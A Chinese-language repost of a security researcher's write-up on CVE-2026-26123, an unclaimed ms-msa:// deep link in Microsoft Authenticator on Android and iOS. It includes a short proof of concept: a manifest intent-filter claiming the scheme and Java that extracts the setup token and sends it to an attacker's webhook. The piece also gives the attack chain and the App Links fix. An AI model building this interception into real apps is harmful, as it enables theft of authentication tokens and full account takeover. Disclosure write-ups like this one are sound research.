0142.微软身份验证器中未被认领的深度链接:账户完全被盗用(CVE-2026-26123)

admin 2026-04-22 04:35:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 微软身份验证器存在深度链接未声明漏洞(CVE-2026-26123),攻击者可通过恶意应用拦截身份验证令牌,完全接管微软账户并绕过双因素认证等安全层。漏洞利用链涉及二维码扫描劫持,需通过应用链接验证进行修复。 综合评分: 84 文章分类: 漏洞分析,移动安全,应用安全,威胁情报,云安全


cover_image

0142.微软身份验证器中未被认领的深度链接:账户完全被盗用(CVE-2026-26123)

原创

Khaled Mohamed Khaled Mohamed

Rsec

2026年3月28日 11:34 贵州

在小说阅读器读本章

去阅读

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自互联网,如你是原作者,请联系我们!

类型:使用隐式意图进行敏感通信、身份验证绕过

当你的身份验证应用成为最薄弱的环节:一个未认领的深度链接如何暴露了数百万个微软账户

我如何获得微软的 CVE 确认,这是微软身份验证器中的第二个 CVE(CVE-2026-26123)。

摘要

微软身份验证器(Microsoft Authenticator)的 ms-msa:// 深度链接旨在安全地引导用户注册和登录,或通过二维码启用双因素身份验证 (2FA),但该链接实际上并未被应用程序本身声明。这一疏忽造成了严重的安全隐患:任何恶意应用程序都可以拦截身份验证令牌,从而完全接管帐户——绕过双因素身份验证、密码要求以及微软设置的所有其他安全层。

开端:当便利遇上灾难

#

想象一下:你正在手机上设置 Microsoft Authenticator。微软的网页界面会生成一个二维码。你用手机自带摄像头扫描它(就像大多数人一样),点击“打开链接”,然后……你就把自己的账号拱手让给了攻击者。

但关键在于——你永远不会知道。

深度链接灾难剖析

#

什么是深度链接?

Android 深度链接允许您通过用户点击的链接(例如来自网页浏览、搜索、通知等)将用户直接带入您的应用内容。

深度链接是带有自定义协议的 URL,用于启动特定的应用程序。你肯定在很多地方都见过它们:

  • spotify://track/...打开 Spotify
  • uber://推出优步
  • ms-msa://应该会打开 Microsoft Authenticator

这里的关键词是 “应该” 。

漏洞:数字弃置案例

#

当 Microsoft Authenticator 生成用于帐户设置的二维码时,它会创建一个如下所示的深度链接:

ms-msa://code=M.C544_BL2.2.U.60e61ddd-1d08-127d-d783-bda9b7v&uaid=88498cfad78b4669aaec4b7a1c8&expires=3964722534

这个令牌至关重要。它是一种直接的身份验证凭证,可以绕过所有其他验证方式——双因素身份验证、密码、安全问题。它是万能钥匙。

现在,事情变得有点离谱了:微软身份验证器实际上并不听从这个深度链接。

当深度链接由以下方式触发时:

  • 原生移动二维码扫描器
  • 点击网页
  • 通过 ADB 发送隐式意图(译者:指跨应用调用)

结果呢?出错了。应用根本打不开。点击“打开链接”会打开攻击者的应用。

#

漏洞利用:深度链接劫持入门

#

由于微软身份验证器隐藏了自己的深度链接,任何应用都可以声称拥有该链接。没有竞争,也没有用户提示“哪个应用应该处理此链接?”恶意应用默认获胜。

这适用于最新的 Android 和 iOS 版本,以及最新的 Microsoft Authenticator 版本。

构建“虚假认证器”

#

创建概念验证模型的过程简直简单得令人尴尬:

步骤 1: 注册废弃的深度链接

<intent-filter>&nbsp; &nbsp;&nbsp;<action&nbsp;android:name="android.intent.action.VIEW"&nbsp;/>&nbsp; &nbsp;&nbsp;<category&nbsp;android:name="android.intent.category.DEFAULT"&nbsp;/>&nbsp; &nbsp;&nbsp;<category&nbsp;android:name="android.intent.category.BROWSABLE"&nbsp;/>&nbsp; &nbsp;&nbsp;<data&nbsp;android:scheme="ms-msa"&nbsp;/></intent-filter>

步骤 2: 提取并泄露令牌

Intent&nbsp;intent&nbsp;=&nbsp;getIntent();Uri&nbsp;data&nbsp;=&nbsp;intent.getData();String&nbsp;token&nbsp;=&nbsp;data.getQueryParameter("code");// Send to attacker's serversendToWebhook(token);

步骤3: 利用

利用窃取的令牌,攻击者可以:

  1. 用户通过身份验证器生成自己的双因素身份验证代码
  2. 通过身份验证器登录
  3. 获取完整帐户访问权限

通过此妥协方案获取的服务:

电子邮件、Office、Microsoft Teams、OneDrive、Skype、Outlook 等

攻击链

  1. 受害者访问 https://login.live.com/
  2. 合法的微软身份验证器链接页面
  3. 二维码由 ms-msa:// 深度链接生成
  4. 受害者使用自带摄像头进行扫描(标准行为)
  5. 手机显示“打开链接”提示
  6. 恶意应用程序拦截——未发现 Microsoft Authenticator
  7. 令牌已发送至攻击者服务器
  8. 攻击者登录

影响:全面接管账户

这并非理论上的漏洞,其影响十分严重:

  • 范围:

    所有微软账户服务(Outlook、OneDrive、Azure、Office 365)

  • 绕过方法:

    双因素认证、密码要求、安全警报

  • 检测到任何异常。未通知受害者。

该攻击只需要用户进行极少的交互(扫描二维码——这是用户经过培训后会做的事情),并且恶意应用程序不需要任何可疑权限(只需要互联网访问权限)。

#

解决方案:正确设置应用链接

解决方案很简单,但需要正确实施:只需实现应用链接验证即可。

给安全工程师和开发人员的教训

审核您的深度链接,实施应用链接验证,并牢记身份验证流程需要严格审查。毕竟,即使您拥有世界上最坚固的锁,如果钥匙放在门垫下,也无济于事。

关键但简单的漏洞仍然存在!

时间线和披露

该漏洞已被确认(CVE-2026-26123),并已进行缓解,且已负责任地向微软安全响应中心 (MSRC) 披露。概念验证无需大量权限(仅需互联网访问权限)即可演示该问题,因此尤其危险。

建议用户更新至最新版本。

免责声明:本研究出于安全研究目的,并已负责任地披露相关信息。文中描述的技术仅应用于经授权的安全测试。

参考:

  • Payatu:探索深度链接安全之道
  • Android 文档:应用链接验证
  • 微软安全响应中心 (MSRC)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Rsec Khaled Mohamed Khaled Mohamed《0142.微软身份验证器中未被认领的深度链接:账户完全被盗用(CVE-2026-26123)》

评论:0   参与:  0